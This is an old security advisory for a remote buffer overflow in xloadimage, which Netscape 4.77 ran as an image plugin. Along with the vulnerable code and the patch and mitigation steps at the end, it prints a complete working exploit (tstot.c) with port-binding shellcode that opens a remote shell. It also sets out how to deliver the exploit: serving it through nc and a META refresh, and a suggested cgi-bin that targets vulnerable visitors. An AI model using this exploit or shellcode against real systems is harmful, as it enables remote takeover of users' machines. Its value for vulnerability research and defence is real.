COMMAND
xloadimage
SYSTEMS AFFECTED
xloadimage
PROBLEM
zen-parse found following. /usr/X11R6/bin/xloadimage is a
plugin, used by Netscape 4.77 (at least?), via
/usr/lib/netscape/plugins/plugger.so, to display certain types of
images (TIFF and Sun Rasterfile formats, as the setup in
/etc/pluggerrc has by default) in the Netscape browser window.
The problem is, xloadimage has an exploitable overflow in the
handling of FACES format images. How does that affect us? We
are only using this program to view TIFF and Sun Rasterfile types,
aren't we? Yes... but the browser only bases the file type on
the type its told by the webserver and the webserver only (tends
to?) base what type of file it is by the extension.
So pipe the output to a file called image.tif and put it on the
server, and reference it in a webpage. The server, when sending
the file, does exactly what it should, and sends to Netscape the
header
Content-Type: image/tiff
which causes Netscape to look up in its internal tables, and see
that this type is handled by plugger.so.
Netscape then calls the plugger.so handler, which looks up it's
table, and consulting /etc/pluggerrc sees:
image/tiff: tiff,tif: TIFF image
image/x-tiff: tiff,tif: TIFF image
image/sun-raster: rs: SUN raster image
image/x-sun-raster: rs: SUN raster image
exits: xloadimage -quiet -windowid $window $file
exits: display -window $window -backdrop $file
"Ok," it thinks, "I'm going to open up a TIFF image from $file
with xloadimage in $window. Not a problem."
Then it inserts the filename (which Netscape passes it, and
points to a file in the Netscape cache) and the windowid (which
it was also passed by Netscape) into the command and launches it.
xloadimage analyses the file, and determines that the file is
actually a 32x32 8-bit grayscale Faces Project image, and not a
TIFF image as the http header and the extension of the file says,
and continues to open it.
Then it launches our shellcode, due to a silly coding error.
(BUFSIZ is 8192)
...
char fname[BUFSIZ];
char lname[BUFSIZ];
char buf[BUFSIZ];
...
if (!strncmp(buf, "FirstName:", 10))
strcpy(fname, buf + 11);
else if (!strncmp(buf, "LastName:", 9))
strcpy(lname, buf + 10);
...
fname[strlen(fname) - 1]= ' ';
strcat(fname, lname);
fname[strlen(fname) - 1]= '\0';
...
Because the overflow happens remotely, and its not easy to guess
what the user on the other end has in their environment jumping
back into the stack seems like it could be a bad idea.
So we jump into the middle of the malloced code.
This may be a little risky, because the malloc() addresses do
vary over different machines with different updates, and we can't
really ask them what versions of stuff they are running (except
Netscape itself) so we pad the heap with a large amount of
jump/nop code before the overflow happens, and jump into where
there should be something (The short jmps are to jump over the
garbage between the chunks.)
0x080e1337 is around the middle of the area on my machine, and has
worked on a different machine as well, and it is also a 31337
address to jump to.
If this doesn't work, it would be possible to increase the garbage
size so the target is bigger still by inserting a few more copies
of the lines between the // ...Garbage... lines.
There is of course the chance that the return address will land
between the padding, but thats life, isn't it?
In case you don't get it, 0xdeadbeef is for testing and the
kiddies.
How to test:
bash-2.04$ make tstot
cc tstot.c -o tstot
bash-2.04$ ./tstot >tstot.tif
bash-2.04$ ls -al tstot.tif
-rw-r--r-- 1 evil evil 75707 Jun 27 16:53 tstot.tif
bash-2.04$ gdb -q xloadimage
(no debugging symbols found)...(gdb) r evil.tif
Starting program: /usr/X11R6/bin/xloadimage evil.tif
(no debugging symbols found)...(no debugging symbols found)...
evil.tif is a 32x32 8-bit grayscale Faces Project image
(no debugging symbols found)...
Program received signal SIGSEGV, Segmentation fault.
0xdeadbeef in ?? ()
(gdb)
Another way of launching the exploit if you want is:
bash-2.04$ ./tstot something|nc -l -p 9876
and make a refresh in your html to it...
<META HTTP-EQUIV="Refresh" Content="1;url=http://youraddress:9876/">
This could also be made into an evil cgi-bin that checks for a
(potentially) vulnerable machine before firing it to them, and
then connects to the listening port and 0wns them with a local
exploit.
/************************************************************************
zen-parse presents
tstot.c - remote portbinding exploit for
RedHat 7.0
Netscape 4.77
xloadimage-4.1-16
tt sssss tt ooooo tt
tttttttt ss tttttttt oo oo tttttttt
tt ssss tt oo oo tt
tt ss tt oo oo tt
tt ssss tt ooooo tt
xloadimage has a remotely exploitable buffer overflow.
Advisory sent to Redhat :Wed Jun 27
Errata released by Redhat :Mon Jul 9
-- zen-parse
************************************************************************/
//#define TARGET 0x080e1337
//as 1337 as the 1337357 kiddies.
#define TARGET 0xdeadbeef
// lamagra's port binding shell code (from bind.c in the sc.tar.gz)
//
char lamagra_bind_code[] =
"\x89\xe5\x31\xd2\xb2\x66\x89\xd0\x31\xc9\x89\xcb\x43\x89\x5d\xf8"
"\x43\x89\x5d\xf4\x4b\x89\x4d\xfc\x8d\x4d\xf4\xcd\x80\x31\xc9\x89"
"\x45\xf4\x43\x66\x89\x5d\xec\x66\xc7\x45\xee\x1d\x29\x89\x4d\xf0"
"\x8d\x45\xec\x89\x45\xf8\xc6\x45\xfc\x10\x89\xd0\x8d\x4d\xf4\xcd"
"\x80\x89\xd0\x43\x43\xcd\x80\x89\xd0\x43\xcd\x80\x89\xc3\x31\xc9"
"\xb2\x3f\x89\xd0\xcd\x80\x89\xd0\x41\xcd\x80\xeb\x18\x5e\x89\x75"
"\x08\x31\xc0\x88\x46\x07\x89\x45\x0c\xb0\x0b\x89\xf3\x8d\x4d\x08"
"\x8d\x55\x0c\xcd\x80\xe8\xe3\xff\xff\xff/bin/sh";
// slight modification so it listens on 7465 instead of 3879
// TAGS is easier to remember ;]
char *
this (int doit)
{
char *p;
int v;
p = (char *) malloc (8200);
memset (p, 0x90, 8200);
if (!doit)
for (v = 0; v < 8100; v += 122)
{
p[v] = 0xeb;
p[v + 1] = 120;
}
if (doit)
memcpy (&p[7000], lamagra_bind_code, strlen (lamagra_bind_code));
p[8199] = 0;
return p;
}
main (int argc)
{
int z0, x = TARGET;
int z1, y = x;
int p;
char *q;
if (argc > 1)
printf ("HTTP/1.0 200\nContent-Type: image/x-tiff\n\n");
printf ("FirstName: %s\n", this (0));
printf ("LastName: XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX");
printf ("%s\n", &x);
// Begin Padding Heap With 'Garbage' (nop/jmp)
printf ("%s", this (0));
printf ("%s", this (0));
printf ("%s", this (0));
printf ("%s", this (0));
printf ("%s", this (0));
printf ("%s", this (0));
// End Padding Heap With 'Garbage' (nop/jmp)
printf ("%s", this (1));
printf ("http://www.mp3.com/cosv");
printf ("\nPicData: 32 32 8\n");
printf ("\n");
for (p = 0; p < 9994; p += 1)
printf ("A");
}
SOLUTION
Apply the patches given in
http://www.securityfocus.com/archive/1/195792
and disable xloadimage from being used as a helper application
for Netscape by changing the line /etc/pluggerrc that reads
exits: xloadimage -quiet -windowid $window $file
into
# exits: xloadimage -quiet -windowid $window $file
or remove that line.